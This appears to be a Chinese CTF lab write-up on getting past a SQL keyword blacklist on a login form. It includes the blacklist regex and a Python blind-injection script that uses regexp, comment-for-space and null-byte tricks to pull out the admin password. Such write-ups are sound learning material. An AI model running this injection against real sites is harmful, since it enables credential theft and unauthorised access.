
进入靶场



输入admin 123


过滤的这么严格???


过滤很严格,此时要么爆破,要么扫描
直接扫描,得到robots.txt

访问后又得到hint.txt
继续访问

图片内容如下
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了
看了别人的wp
需要进行正则匹配,需要python脚本
下面的代码会跑出密码
import requests
from urllib import parse
import string
url = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
if num == 1 :
break
for j in string:
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
}
print(result+j)
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
result += j
break
if j=='_' and 'welcome' not in res.text:
break

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

over
笔记
1,连续2道题用到python脚本了
2,学习了正则匹配